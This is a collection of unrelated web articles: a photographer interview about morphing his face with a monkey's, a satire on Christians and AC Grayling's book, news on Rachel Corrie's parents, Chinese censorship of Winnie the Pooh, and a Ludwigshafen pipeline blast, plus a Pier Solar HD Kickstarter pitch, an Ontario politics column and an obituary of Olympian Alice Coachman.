-Ready to get creeped out? Emmanuel Perez-Duarte masterfully morphs together his own face and that of a monkey’s for this shot he’s titled, “The Origins of Evolution.” We got in touch with the Paris, France-based photographer to ask him how he achieved this fantastically freaky look.  “I had been experimenting on morphing software, which allows to go from one face to another (in theory, both human) in a smooth transition: taking an image from the middle of the transition and correcting it in post processing allowed me to make ‘hybrid,’ or ‘blended’ people. The result was a lot of fun and made the people who knew the two ‘blended’ ones very uncomfortable.  “The next step seemed obvious: blending a human face with an animal face – and what better choice than a monkey? The similarity of its face with a human face made the experiment quite easier than with other animals. I looked at my stock photos and found a pretty good shot, up-close, of a monkey, and voil!  “I first used a morphing software Squiz Morph to help me distort my face and the monkey’s to make them match, and then most of the work was done in The Gimp, which is a open source image manipulation software similar to Photoshop.”  How exactly did the public react to such a startling and realistic-looking figure? “I hadn’t anticipated the primary reaction, which was that people found it creepy, frightening and so on: my point was to make something funny!,” he says. “Some people did find it funny though, as it appears in the comments. Then came other reactions for which I hadn’t intended (though in retrospect didn’t surprise me): those reactions (some in the comments, many by email) seemed to imply that I had made the image to prove a point on evolution – which was not the point at all!  “It amused me that some people thought I was making fun of evolution, and that at the same time other people thought I was trying to prove it by illustrating it.”  Emmanuel Perez-Duarte on Flickr
-Christian organisations have called AC Grayling’s ‘Atheist Bible’ complete nonsense by insisting that if it wasn’t for Jesus they would all be complete and utter shitbags.  The Good Book is Grayling’s attempt to show that inherent kindness is a feature of evolution and bound tightly into our genetic make-up, not the result of an invisible deity threatening people with an eternity in a fiery Hell – a claim refuted by Christians everywhere.  Regular church attendee Troy Williams told us, “I can’t speak for all Christians, but if it weren’t for Jesus Christ our saviour I’d be out there raping and pillaging right now. How do you explain that mister science man?”  “You can’t, can you? Jesus has turned me from a potentially violent criminal into an insufferably tedious bore. Hallelujah!”  “This book and all it’s stories about how people are nice to each other just ‘because’ is load of old twaddle. God told me that in a dream I had last night.”  AC Grayling’s Atheist Bible  Other Christians have insisted that if people are inherently nice, why is everyone so incredibly mean to them when they knock on their front doors trying to spread the word of God.  Christian Margaret Shilling of East Kilbride told us, “It doesn’t make sense, if people were inherently ‘good’ we’d always be invited in for a cup of tea and a biscuit whilst we lectured you on how letting Jesus into your life can rob you of half your weekend every single week.”  “Instead we get sworn at, shouted at through letter boxes and one man threw a bucket of piss at us from his bedroom window. How is that good?”  AC Grayling defended this behaviour saying, “I’ll bet anyone who’s ever had a religious cold-caller had a smile on their face reading that – so there’s your kindness to your fellow man, right there.”  T- Shirt – Jesus: Like Santa, but for Grown ups
-By Michael Hernandez  WASHINGTON  Twelve years after they lost their daughter in a tragic incident in the Gaza Strip, Craig and Cindy Corrie are still searching for justice.  Rachel Corrie, 23, was killed March 16, 2003, when an Israeli military bulldozer ran her over as it attempted to destroy a Palestinian home near the Egyptian border in Rafah. Corrie was attempting to prevent the vehicle from razing the home when she was killed.  Their daughter's death led her parents to review a conflict that they were initially "very uninformed" about.  "I think we had a very skewed perspective," said Cindy Corrie. "We had a lot of learning to do, and I would say Rachel opened our eyes."  Rachel flew to Israel on Jan. 22, 2003 and began work shortly thereafter with the International Solidarity Movement, an activist group which promotes non-violent action in Gaza since 2000.  "She wrote that she went to see what it was like to be on the receiving end of U.S. tax dollars, and our foreign policy, and of course what she saw was horrific," said Craig Corrie, Rachel’s father.  The Corries brought a first suit against Israel for the wrongful death of their daughter in 2005 following a military investigation into the case that failed to garner any charges. The case went all the way to Israel's Supreme Court, which said Feb. 12 of this year that the Israeli army had been carrying out combat operations at the time.  The court absolved Israel from responsibility for killing the activist.  "We’ve really reached almost what we see as the end of the road with legal proceedings in Israel," said Cindy Corrie, voicing her exasperation with the Israeli legal system.  The family is now exploring whether or not they should take their case to an international court, including the Hague-based International Criminal Court.  "I will say that being in court, and particularly for such a very long time, is a very demanding, exhausting and costly process, and we're getting older. Our family has to make choices on what’s best for everyone as well. So there’s a lot to think about," she said.  But even as they explore further legal recourses, the Corries are adamant on maintaining pressure on the U.S. government.  "What we need is the institutions of the United States government to be acting on our behalf, and I think on behalf of other Americans wherever they live," said Craig Corrie, referring to the deaths of other Americans who have died in incidents involving Israel, including Furkan Dogan, a Turkish-American citizen -- one of nine activists who died when Israel stormed the Gaza-bound aid boat, Mavi Marmara, in 2010.  Israel has imposed a blockade on the coastal enclave since 2007, resulting in shortages of basic goods and services.  Since then Israel has launched three military campaigns in Gaza, most recently in the summer of 2014. Each offensive resulted in large numbers of casualties, and mass destruction.  "When an American citizen is killed with equipment that the United States provided with our funding, and exported, it was a Caterpillar D9R bulldozer," Cindy Corrie said referring to the model of the bulldozer that killed Rachel. "And that was paid for by our government, and our government can’t get some kind of satisfactory response from the Israeli government on what happened to Rachel, that just seems completely unacceptable, and of course Rachel isn’t the only one."  "It’s very troubling to us and to others when we look at the support that the U.S. government has provided to Israel, we think really, in many ways, counterproductive," she said.  The historically close relationship between the U.S. and Israel has been dealt significant setbacks with recent rows between U.S. President Barack Obama and Israeli Prime Minister Benjamin Netanyahu.  The Israeli leader made a controversial speech to both houses of Congress earlier this month in which he attempted to rally lawmakers against a proposed nuclear deal with Iran -- just weeks before a crucial deadline of negotiations, in which the Obama administration is heavily invested in.  And, during the run-up to his country's March 17 elections, Netanyahu made disparaging remarks against the participation of Israel’s Arab population in the polls, and said that no Palestinian state would be created as long as he is the prime minister.  The White House strongly condemned Thursday the controversial comments, saying that the Arab-Israeli remarks "sought to marginalize" the community, and that Netanyahu’s peace process remarks "raises questions about our approach, at least in the minds of policymakers inside the administration. And that is why we are going to evaluate our approach to this matter moving forward."  What might be needed, Craig Corrie said, is a complete overhaul of how Washington approaches Tel Aviv.  "President Obama has pointed out that our policy with Cuba has not worked for all these years, and so we need a new policy there," he said referring to recent efforts to restore relations between the Cold War rivals. "I would think that we could look at our policy towards Israel and Palestine in the same fashion."
-Which Patriots Receiver Will Have the Most Yards At the End of the Year? by Ernie Padaon  There has been much mystery surrounding Jets S Jim Leonhard this off-season. Now that the Jets have officially said they will not re-sign him, speculation has run wild over where he will end up. Many Patriots fans have shown desire for the team to acquire him if possible, but that may not be the best idea.  Leonhard is a versatile player, who can be utilized in different positions on the defensive side of the ball and on special teams. Belichick loves players like that, such as Julian Edelman, and perhaps could see him as an asset. While Leonhard is a leader on the defensive side of the ball and is still relatively young, signing him brings along a huge risk factor that may not be worth the reward.  Leonhard ended his past two seasons early on the Jets with injuries; he hasn’t played a full 16 game season since 2009. While his defensive numbers are good, they aren’t great and likely aren’t worth taking a chance on. I didn’t think I’d say this for a long time, but the Patriots defense (on paper for now) is the best it’s looked since our last Super Bowl win, and I would rather chose to trust the current group that we have instead of adding another player that likely will not be able to contribute a full season.  Tell me what you think! Tweet to us at @NEMusketFire and “Like” us on Facebook!
-According to BBC News (via The Wrap), the Chinese government is blocking all mentions of Winnie The Pooh on social media sites in an attempt to stop people from associating President Xi Jinping with the cubby, honey-living children’s character. Apparently, Winnie The Pooh has been the go-to reference for people looking to poke fun at President Xi for a while now, but the government is ramping up its censorship operations in advance of the Communist Party Congress this fall so that President Xi can make a big show of his “grip on power”—as the BBC puts it—and try to shut down his critics.  Advertisement  As for why people used Winnie The Pooh in the first place, the BBC story doesn’t really get into it, but it suggests that replacing the president with a silly figure like the cartoon bear is a straightforward attempt to undermine the assertion that he’s superior to the rest of the population in some way. Whatever the reason, uses of Pooh’s name in Chinese are blocked on the country’s omnipresent WeChat app, and attempts to look up previously accessible Winnie The Pooh images now turn up nothing.  For Cheetos’ sake, we just hope Donald Trump doesn’t hear about this and steal the idea to ban things that people use to make fun of him.
-Thursday's blast in Ludwigshafen also gutted parked cars and created a crater 10 meters (33 feet) in diameter and 5 to 6 meters deep. Police in the western industrial city said they continued to investigate the cause.  The explosion left a 10-meter crater  The company Gascade announced that workers had attempted to dig down to a buried line near apartment blocks at the time - as well as near a factory site operated by BASF, the world's largest chemicals company, which has its headquarters in Ludwigshafen.  Gascade officials said it remained unclear what had damaged the pipe, a section of a 57-kilometer (35-mile) line that leads southward to the city of Karlsruhe. Police said that rescuers had managed to extinguish the main blaze at the site by the late afternoon, as well as control the smaller fires.  In September, an explosion at a chemicals plant in the northern town of Ritterhude damaged dozens of homes.  mkg/jr (AFP, dpa, AP)
-One Year at WaterMelon: The Movie (OYAWM) will chronicle the love, sweat, and tears over the next year of WaterMelon team's development pursuits. Everything from Pier Solar HD to our new Super Nintendo and SEGA Mega Drive/Genesis games, ProjectN and ProjectY. We promise it's going to be chock full of excitment, action, and some serious climactic twists.  You can rest assured that we are going to fill it to the brim with special features such as: the history of WaterMelon, interviews, and tons of other exclusive and exciting footage!  How to Unlock One Year at WaterMelon: The Movie?  One Year at WaterMelon: The Movie will be unlocked and free for EVERY single backer if the campaign reaches 175k. Upon reaching 175k, every single backer will receive an HD digital download of OYAWM! This is of course in addition to the Android and OUYA stretch goals!  If the campaign reaches 200k, not only will we release Pier Solar for HD and does every single backer receive the HD digital download of OYAWM, but all backers pledging $49 and above will receive a Kickstarter exclusive special edition DVD (you get the HD download of the film too!).  UPDATE #9: Pier Solar HD is Now Coming to the Wii U  UPDATE #8: 175k Down, Almost to Wii U and Limited Special Edition DVD's of OYAWM!  UPDATE #7: SURPRISES - One Year at WaterMelon: The Movie & ADD-ONS  UPDATE #6: First Two Stretch Goals Locked in: Japanese Translation & Dreamcast Extras are in!  UPDATE #5: Stretch Goals: Wii U, the Directors Cut, Android & OUYA, Japanese Translation, Dreamcast Extras  UPDATE #4: You did it!  UPDATE #3: Pier Solar AMA on Reddit with Gwenael Godde aka Fonzie - WM's Art Guy  UPDATE #2: Almost 100k! New Pledges and Pledge Updates - EVERYONE READ!  UPDATE #1: Original 16-bit SEGA Mega Drive/Genesis Graphics in Pier Solar HD!  Pier Solar is a 16-bit RPG that tells the story of Hoston, a young botanist who is on a quest to save his father from a mysterious illness. Along with his two best friends Alina and Edessot, the three friends embark on a quest seeking a rare herb to cure the illness of Hoston's father. Little do they know, it is the beginning of a winding journey that unravels his father's past and the mystery of Pier Solar and the Great Architects.  Pier Solar was originally designed and developed for the SEGA Mega Drive & SEGA Genesis. Yes, you read that right!! It was actually the only newly developed game for SEGA's 16-bit system in the new millennium. It's not a port, fan translation, or a copy of any other game. Pier Solar is a 100% brand new, entirely original,16-bit RPG.  We'll get right in to what we think makes Pier Solar so special:  The Biggest 16-bit RPG Ever! We released Pier Solar on a custom 64MEG cartridge (the average SEGA Mega Drive/Genesis game size is 12MEG), making it the biggest 16-bit RPG ever! This allowed us to push the 16-bit medium to a precedent setting level, with state-of-the-art aesthetics and things like full-screen cutscenes, background scaling and 3D modes.  A 100% Original RPG! Pier Solar was developed from the ground up. An original world, storyline, soundtrack, characters, enemies, and battle style. No ports, translations or copying from any other game - it's all fresh! The first original 16-bit RPG to do this in over a decade!  A Massive World to Explore! Pier Solar has 50+ hours of gameplay, over 300 locations, nearly 500 unique treasure chests, and over 800 NPCs!  Epic Battle Tactics! We developed an innovative battle system that puts you in control of up to five characters and includes in-depth strategic moves such as counter-attacks and a special strategy called Gather, which stores energy to unleash even more powerful moves and spells!  Translated in 5 Languages! Pier Solar is translated in 5 languages: English, Spanish, Portuguese, French, and German.  An Original Soundtrack! A beautiful soundtrack written just for Pier Solar that embodies everything great about a classic retro soundtrack!  There Are Surprises! We also packed-in many other surprises and secrets like hidden areas and mini-games!  Pier Solar truly is a love letter to the rich, imaginative 16-bit RPGs of a bygone era. We crafted Pier Solar in the same light - with an authentic adventure, that resonates deeply about life, death, love, family, and friendship. Remember the wonder you felt when immersed into your favorite retro RPG? Pier Solar captures that same wonder.  Here is what some of the press has to say about Pier Solar:  After 2 years, 3 prints, and 8 versions of Pier Solar for the SEGA Mega Drive & SEGA Genesis - we are pleased to announce we have been hard at work on releasing Pier Solar in HD for Xbox 360, PC, Mac, Linux & SEGA Dreamcast.  From day one we've been getting requests to bring Pier Solar to platforms like Xbox 360. We've been listening carefully to you and we are very excited to bring Pier Solar to you on more platforms than ever before! The thing is, we don't just want to re-release Pier Solar on some new platforms. We want to redo the game in HD so it looks as stunning as it should. We are putting the same level of attention and detail into Pier Solar HD that we put into our original development. Trust us, it's going to be amazing.  The game will remain the same in essence - you'll still have everything that makes Pier Solar great (including the translations of 5 languages in every version!) - we will simply be redoing the graphics in high definition and releasing it on each respective platform so that everyone can play it! Of course we'll be adding some new things here and there, like achievements and trophies for Xbox 360. We'll take advantage of each platform and make it fit right.  We've been hard at work and we already have Pier Solar up and running on Xbox 360, PC, and SEGA Dreamcast (in the original SD resolution). We put together a video of each platform working so you can see we are well on our way! Watch the video here.  When we first sat down to conceptualize Pier Solar HD, one of our initial goals was to adapt the new HD art direction with our preexisting 16-bit gameplay. We did this by merging the rich charm of retro sprites with crisp HD backgrounds. The sharp blend of each art style unites to provide an enchanting, aesthetic atmosphere never before seen. Sure, other developers have made "modernized" retro, pixel based games - but as far as we know, never before has a game been developed entirely with a mixture of both art styles, from beginning to end. This is one of the most exciting aspects of Pier Solar HD and we think it is going to send every player straight to retro heaven.  Take a look at these before and after Standard Definition to High Definition images so you can see just how beautiful Pier Solar is going to look in HD! We are so excited!!  A rich and beautiful art style  Hoston's house, where the adventure begins.  HD is awesome, look at this atmosphere!  Splendid visual with a blend of pixel art for a unique style.  Beautiful, crisp HD backgrounds.  Sharper HD graphics makes the cutscenes look even more gorgeous.  Working directly with fans is an idea that is intertwined at the very core of what WaterMelon is. Our origins and history as a company have been uniquely connected with our fans. Today, we are more connected with them than ever. Just take a look at our recently launched WM's Magical Game Factory where we are building entire games directly based on what YOU want!  We fit right in around here and that's why we are running this campaign. We're coming directly to you to make Pier Solar HD a reality. This allows us to do our work exactly how it should be done - with no compromises! With your help, we can bring Pier Solar in high definition to five new platforms! Furthermore, we will give you behind the scenes access to our world of development as we work. We want you to be right by our side. As a backer of our campaign, you'll get access to all sorts of behind the scenes extras. We'll make it worth your while!  With Pier Solar already up and running on Xbox 360, SEGA Dreamcast and PC we are already hard at work on the development.  So what exactly will the funding be used for? All funding strictly goes toward:  Remaking thousands and thousands of Pier Solar assets in HD  Licensing fees, extra development costs  Production (plastic molds, printing)  Beta testing for Xbox 360, PC, Mac, Linux and SEGA Dreamcast  To fulfill our funding goal, we have a lineup of pledges that are sure to offer something for everybody. Not only do we have pre-orders for every version of Pier Solar HD, but we have some bundles of awesomeness that you won't be able to pass up! See the pledge section for all the pretty details.  WaterMelon is a video game development company committed to bringing you the best in old school gaming entertainment. We started in 2004 with an idea - to make an entirely original, 16-bit RPG for the SEGA Mega Drive & SEGA Genesis. After 6 years of love, the result was Pier Solar and the Great Architects. Fast forward to today and take a look at how much we've grown.  Today, WM's offices and our team of 6 are located in Iowa, USA. With distribution centers in both the USA and Europe - we deliver all of our games and products worldwide and have shipped to over 50 countries to date.  One of our latest and most exciting projects is WM's Magical Game Factory. It is a unique approach to crowd driven development. The Factory allows fans to invest in various proposed projects and have a real impact on the games development throughout the project’s life cycle. Players can purchase GEMS and apply them to any project they wish. The more GEMS they’ve invested in a project, the more weight is given to their votes and opinions when consulted. Once the project is completed, investors will not only get a copy of the game but a host of other goodies and exclusive bonuses.  The philosophical roots behind WaterMelon are burrowed in our love for old school gaming. We think the development limitations of retro video game systems from the 90's created a unique context that often caused developers to place compelling story telling and innovative game play at the very top of their development. We think it is through this principle that the very best of games have been made.  Today, with the same recycled blockbuster video games over and over again ad nauseum - it is now that a principled approach is needed most. At WaterMelon, we distill the 'old school gaming' essence of compelling story telling and innovative gameplay into our fundamental and driving principle as a company. We won't sacrifice this principle - no matter what.  If you are familiar with the way we package our products - you know we put our hearts and souls into delivering the highest caliber of packaging possible. In fact, after 1UP.com reviewed Pier Solar their opinion was, "The packaging/presentation for the game is exceptional". For the SEGA Mega Drive & SEGA Genesis version of Pier Solar we actually designed and manufactured every single piece of it in house, from the ground up. This is a big deal! Check out this gallery of our packaging so you can see exactly how good it really is.  Now the reason we are pointing this out is because this exact caliber of quality follows for each and every one of our pledges below. We carefully crafted each pledge to be the most beautifully designed, collectible offerings we could dream up. You won't be disappointed, we promise.  Oh and one last note on our PC, Mac, Linux & SEGA Dreamcast collector editions: These will be the most limited and collectible versions ever produced on either of these platforms at 250 and 750 limited edition units respectively. To put it in perspective, when we first released Pier Solar for SEGA Mega Drive and SEGA Genesis - we sold out similar quantities in less than 2 weeks on sale and these original print versions went on to be extremely rare and valuable. In fact, so rare and valuable that whenever they come up for resale, you'll find them selling for $500+! Don't miss out on these special editions - they are going to move fast!  Pier Solar HD for XBOX 360  The second we released Pier Solar we started receiving requests to release it for Xbox 360. We do understand that not everyone out there has SEGA Mega Drive or SEGA Genesis to play Pier Solar. The Xbox 360 version will of course be in a crisp, lush HD. We will add trophies and other unique Xbox 360 features, don't worry! The pledge is for a digital version of the game.  Pier Solar HD for PC, Mac & Linux - Digital Version, Regular Edition and Collectors Edition  Don't you hate it when an intriguing new game gets released on PC and you have a Mac or vice versa? What about if you use Linux? We want everyone to play it so we will by releasing it on all computer OS's for everybody from the get go! Pier Solar HD will be compatible on PC, Mac & Linux.  We've got three pledges for this one - a digital download and two physical editions: the regular edition and the collectors edition. The collectors edition is a beautiful physical package that includes Pier Solar HD - (compatible with PC, Mac & Linux), the Pier Solar Guide Book, a signed art print, and three beautiful figurines. A Kickstarter exclusive, limited to 250! There is one pledge that serves for all 3 versions. We will send you a survey to select which OS you want later.  Pier Solar for SEGA Dreamcast - Regular Edition and Collectors Edition  We can't help it. We just love our old school SEGA systems too much :). The Dreamcast is one of our favorites and we know there are tons of fans out there just like us! The truth is, we've wanted to release Pier Solar for SEGA Dreamcast for a long time. With the Dreamcast's lacking RPG library, it is going to be a great fit!  We are thrilled to utilize the redone HD graphics for the Dreamcast version. They will be scaled down to the Dreamcast's optimal resolution of 640x480 and VGA compatible too. It is going to look incredible, you can trust us when we say its going to look as good as possible on the Dreamcast (which is damn good!).  We have two pledges for the Dreamcast version of Pier Solar - the regular edition and the collectors edition. Both the regular and collectors edition are available in each region's authentic, unique packaging: USA, European and Japanese. The limited edition will include a beautiful physical package that includes Pier Solar for the SEGA Dreamcast (You get to choose whichever version you want: either USA, European or Japanese versions), the Pier Solar Guide Book, a signed art print, and three beautiful figurines.  The SEGA Dreamcast packaging will be designed and manufactured from the ground up, in house by WaterMelon! Each regions packaging will match your collection! A Kickstarter exclusive, limited to 750! There is one pledge that serves for all 3 versions. We will send you a survey to select which region you want later.  Pier Solar Original Soundtrack (4 CD Set)  The Definitive Original Soundtrack - everything a fan could dream of! In a stunning packaging with four BUNG-FULL discs, that can be played in any CD player, computer or even your Mega-CD/SEGA CD. We have roughly 750 Pier Solar OST's left and once these are gone - they'll be gone for ever, no more reprints! Limited to 750!  Discs 1-2 contain the game's original Mega-CD/SEGA CD tracks.  Disc 3 contains remixes by famous artists, rare unused tracks & alternates.  Disc 4 is our famous Enhanced Soundtrack Disc, the Mega-CD/SEGA CD disc to be played with any Pier Solar cartridge! This disc also includes PC accessible exclusive content like "making of" and other things.  The Pier Solar Guidebook  The ultimate Pier Solar strategy guide. It is based on tim333's fabulous GameFAQs guide, revised and updated. A beautiful, full color strategy guide that serves as your companion to every version of Pier Solar. It is published in English, but there will also be smaller appendixes with other languages as well.  A Pier Solar SEGA Dreamcast System  A SEGA Dreamcast system custom branded with Pier Solar artwork. It will include the custom system, controller and VMU. A Kickstarter exclusive, limited to 5!  A Pier Solar Xbox 360 SystemWe’ll build you a beautiful, custom Xbox 360 system custom branded with Pier Solar artwork on the system and controller. It will be a brand new Xbox 360 with 250 GB system or Xbox 360 with Kinect. We’ll send a survey for you to choose your version. You also get to pick ANY version of Pier Solar HD too! We'll let you pick via a survey later. A Kickstarter exclusive, limited to 10!  Any Collectors Edition and a Limited Poster  Any Collector’s Edition of your choice plus an exclusive, kickstarter limited poster made in super high quality material. Limited and numbered to 150 total. 30in x 22in (55cm x 76 cm).  Early Beta Tester  You'll get a Pier Solar Collector’s version of your choice and you'll be invited to an exclusive early closed beta test before the open beta. We hope you aren't afraid of bugs. Kickstarter Exclusive, limited to 50.  Pier Solar Mega Drive “Classic Edition”  Three different versions of Pier Solar for SEGA Mega Drive and SEGA Genesis have been released since 2010 and The Classic Edition is out of print and one of the most collectible versions. You get a collectors edition of Pier Solar HD of your choice plus the choice of whichever Pier Solar Classic version you want: USA, Europe, or Japanese packaging and we will sign it for you! We will send you a survey to select which region(s) you want later.  Bethina’s Diary - 150+ pages of original Pier Solar work  This is something totally special and unique. You get the two Pier Solar HD collector’s boxes (PC/MAC/LINUX AND Dreamcast) plus something totally special and unique: One of the two independently unique work books, filled with 100% original pieces, no copies. 150+ pages of artwork, drawings, proof printings, script, sketches, technical notes and more. Each book itself is made of original raw material, assembled by hand and stitched as an antique book. The book cover is made of Pier Solar packaging compound. Many pages are annotated by hand. Additionally it contains three 100x100 laser-cuts of original printing plates, annotated, numbered and signed. Includes a Certificate of Authenticity. Protected by custom wood and artboard casing. A Kickstarter exclusive, limited to 2!  The Pier Solar Prototype Package  Original Pier Solar Prototypes! You get the Collector’s Edition box of your choice plus the original Pier Solar Prototypes! Includes Prototype cartridge, Prototype mega CD disc, Beta Testing A4 sheet (the sheet beta testers have used) and a Certificate of Authenticity. Protected by custom wood and artboard casing making it a true collector’s treasure. A Kickstarter exclusive, limited to 5!  I Am the Boss! (be in the game)  You get a Collector’s Edition of your choice and we will design you as the big boss in Pier Solar based off a picture that you submit! All the games we make (physical and digital) will feature you as an unlockable boss and you will receive an exclusive code that is used in game to activate this feature, so that you can challenge your friends to beat you! Also includes a custom cover with you as the big boss on it as well as the original signed sketch! This feature will be compatible with all versions of the game. A Kickstarter exclusive, limited to 10!  Plates of Posterity  One of a kind collectors pieces. You get a Collector's Edition of your choice plus one of a kind collectors pieces. A 100x100mm laser-cut of the original printing plates, annotated, numbered and signed. Includes a certificate of Authenticity. Protected in custom artboard casing. A Kickstarter exclusive, limited to 25!  The Super Collector Package  The be all, end all collectors package! All three super rare posterity versions of Pier Solar for SEGA Genesis/MegaDrive (USA, EU, JP), all 3 SEGA Dreamcast versions (USA, EU, JP), the Pier Solar OST, the Pier Solar Guide Book, and the both Pier Solar reprint editions. Every item signed by the developers. A Kickstarter exclusive, limited to 1!  Come Party with us in Paris!  For our biggest fan – get the OST and all physical versions of the game (PC and Dreamcast in all 3 regions, plus a PC collector’s box and the Dreamcast Collectors box in all 3 regions as well. Total of 8 games) plus an exclusive invite for you and as many friends as you'd like you to come party with us in Paris! You and your friends will have an exclusive invite to a launch party for Pier Solar HD. Afterward we will have a beautiful dinner in Paris followed by drinks and a real good time! (We will pay the round trip airplane tickets for you and hand you the invitations for all the friends that you invite.)
-Tim Hudak is discovering the uncomfortable facts of Tory life, facts that earlier Conservative leaders, federal and provincial, had to learn, painfully, in their day.  Out of power, Tories are less a political party than a dysfunctional rabble, seething with individual ambitions and personal agendas. They are not bound together by group values. They are not united by a common commitment to a set of social and political goals, as NDP members are. Nor are they held together by the discipline that comes from power or the proximate prospect of power, as Liberals tend to be.  Ask any political reporter of the pre-Harper era. They would tell you they would much rather cover the Conservatives than the Liberals or New Democrats. Why? Because the Tories were more interesting. They were news waiting to happen. We never knew what might occur next, which accident-prone Tory might shoot himself (and his colleagues) in the foot, and when the wheels might fall off the party's campaign. They were fun.  At the federal level, John Diefenbaker battled, and was eventually overcome by "termites" — his name for party members who didn't really care who was leader so long as it was not the "Chief." Robert Stanfield spent much of his leadership fighting off the right-wing yahoos, western alienationists and bilingualism-deniers who were attracted to the Conservative party likes flies to honey. And Joe Clark was done in by a remorseless campaign led by his old friend and comrade, the slickly ambitious Brian Mulroney.  At the Ontario provincial level, then leader John Tory, after his defeat in the 2007 election, had to fight off activists from the party's evangelical wing, the leader of which was (and is) MPP Frank Klees. Klees is consistent in his ambition. He challenged Tory for the leadership in 2004 and placed third. He finished second to Hudak in the 2009 leadership convention. Now he is positioning himself for a third try, allying himself with a group of dissidents who seek to force a leadership vote at the party's policy conference next month.  Although most of the identifiable dissidents appear to be from the London area, they have attracted support from elements of Toronto Mayor Rob Ford's political machine. Rob Ford's brother Doug, a Toronto city councillor, is rumoured to have provincial leadership ambitions of his own.  The anti-Hudak campaign is not likely to succeed this time around. It is too soon to dump the leader, even for Tories. True, he lost the 2011 general election, which he probably should have won. True, he lost the crucial Kitchener-Waterloo byelection a year ago. True, he won only one of the five provincial byelections earlier this month.  In Hudak's defence, all five byelections were in Liberal-held seats. Not only did Hudak gain one seat (Etobicoke-Lakeshore), he gained it in Toronto where the Conservatives had had no seats at all. In the process, although they came away with just one seat, the Tories' total popular vote in the five contests was greater than that of any other party.  Hudak will survive in September — partly because Klees is less popular in the party than Hudak and partly because Conservatives realize that Kathleen Wynne's minority Liberal government could fall at any time. The last thing a party wants is to be caught changing leaders when an election is called.  That said, Hudak's days as leader are probably numbered. He has been a disappointment. He doesn't resonate with the public. He has lost when he should have won. He has been relentlessly negative at time when the electorate is weary of attack, attack, attack. He plays to the party's right wing when he needs to broaden its appeal. The NDP and Liberals are, or are becoming, modern political parties. The Tories are not. They are mired in the past, in the Mike Harris era.
-Why An African-American Sports Pioneer Remains Obscure  Enlarge this image toggle caption AP AP  Alice Coachman Davis never entered the pantheon of breakthrough African-American sports heroes, like Jesse Owens or Wilma Rudolph. But she was a pioneer nonetheless.  In 1948, competing as Alice Coachman, she became the first African-American woman to win Olympic gold, breaking the U.S. and Olympic records in the high jump.  Chances are, you've never heard of her. Davis died on Monday at age 90 from cardiac arrest.  "It was because of her self-confidence, her ability to push through, that made the neglect feel all the more hurtful," says Jennifer Lansbury, author of A Spectacular Leap: Black Women Athletes in Twentieth Century America.  Enlarge this image toggle caption John Rooney/AP John Rooney/AP  Coachman wasn't encouraged as a child. In her day, it was considered questionable for women to compete in track and field — as opposed to more "feminine" sports such as swimming or tennis.  "There were some stereotypes that were very prevalent," says Gary Sailes, a sports sociologist at Indiana University. "If you participate in sports, it could affect your ability to have a baby. The lesbian thing was out there."  These were attitudes apparently shared by Coachman's father. "Her father believed that girls should be dainty and sit on the porch and drink tea and not do sports," says Heather Lang, author of a children's book about Coachman.  In a 2004 interview with NPR, Coachman said the fact that female athletes were discouraged ultimately helped her out.  "I didn't have any girls for playmates because they were ladylike, and I didn't have no competition to help me jump over the bar, I didn't have no competition to make me run fast, and I didn't have no competition to hit the baseball or softball," she said. "So I was really a boy in the sight of the other boys I was playing with. And when I look back, maybe if I hadn't played with them, I wouldn't have been as good as I am. That was my competition right there."  Coachman grew up poor in Georgia, often running and jumping barefoot, sometimes using ropes or tied-up rags for crossbars as she practiced her jumps.  Coachman was discovered, though, at a meet at Tuskegee Institute. She went on to win the national championships in the high jump 10 years in a row.  She was only an Olympic champion once, however. The games were canceled in 1940 and 1944 due to World War II, cheating her of her turn to compete in her prime.  Coachman and many others believed she would have become a repeating champion, if she'd had the chance.  "Had she competed in those canceled Olympics, we would probably be talking about her as the No. 1 female athlete of all time," Eric Williams wrote for the Black Athlete Sports Network.  Coachman was awarded her gold medal in London by King George VI. She was the only American woman to win a gold medal in athletics at those games.  "To come back home to your own country, your own state and your own city, and you can't get a handshake from the mayor? ... Wasn't a good feeling."  But her hero's welcome back home in Albany, Ga. — a segregated event where the mayor refused to share her hand — was bittersweet.  "To come back home to your own country, your own state and your own city, and you can't get a handshake from the mayor?" Coachman said in the NPR interview, which was conducted by the National Visionary Leadership Project. "Wasn't a good feeling."  Lansbury, an independent historian, says the event has to be remembered in the context of the times. Albany's reception may not have represented a civil rights breakthrough, but declaring a day and holding a parade in her honor was something quite unusual for a southwestern Georgia city in the late 1940s.  "For them to put a picture of her on the front page of the Albany Herald was not done and had not been done," Lansbury says.  The 1948 Olympics were her last competitive event. A dozen years later, she watched Wilma Rudolph, who recovered from infantile paralysis caused by polio to win three gold medals in Rome in 1960.  Rudolph became a hugely celebrated figure who helped elevate the popularity of women's track in the U.S. Her homecoming celebration in Clarksville, Tenn., was, at her insistence, that city's first integrated event.  Enlarge this image toggle caption AP AP  In those few crucial years, the civil rights environment and racial attitudes had shifted enough for Rudolph to be lauded in a way that wasn't possible for Coachman.  "Sometimes, it's just about somebody being the right person at the right time," Lansbury says. "I really feel that with Wilma Rudolph, there was a convergence of her personality and where civil rights was at that point in time when she competed."  Coachman herself attributed Rudolph's greater fame to the spread of television. There's something to that, and Coachman never begrudged Rudolph her triumph. But she couldn't have been thrilled when Rudolph, in her autobiography, attributed the first Olympic gold medal to another African American woman entirely.  Books and articles kept appearing that credited Rudolph herself with being the first African-American woman to earn Olympic gold.  Coachman, meanwhile, went on to marry two different men named Davis, teaching and coaching.  "Her students said, 'You said you were the first one,' " Lansbury says. "It wasn't until she brought her medal in the next day and showed it to them that they believed she was the first."  Coachman did receive some recognition in her later years, founding a track and field foundation at age 70 and being inducted into the U.S. Olympic Hall of Fame at 80.  She never doubted her own contribution.  "I made a difference among the blacks, being one of the leaders," she told The New York Times in 1996. "If I had gone to the games and failed, there wouldn't be anyone to follow in my footsteps."  Sailes, who teaches African-American studies and kinesiology at Indiana, says that Coachman's confidence helped her put aside all the slights in her life.  "She had a higher agenda than dealing with dealing with the racial polarization," Sailes says. "She rose above it by focusing on the work and what she needed to accomplish."
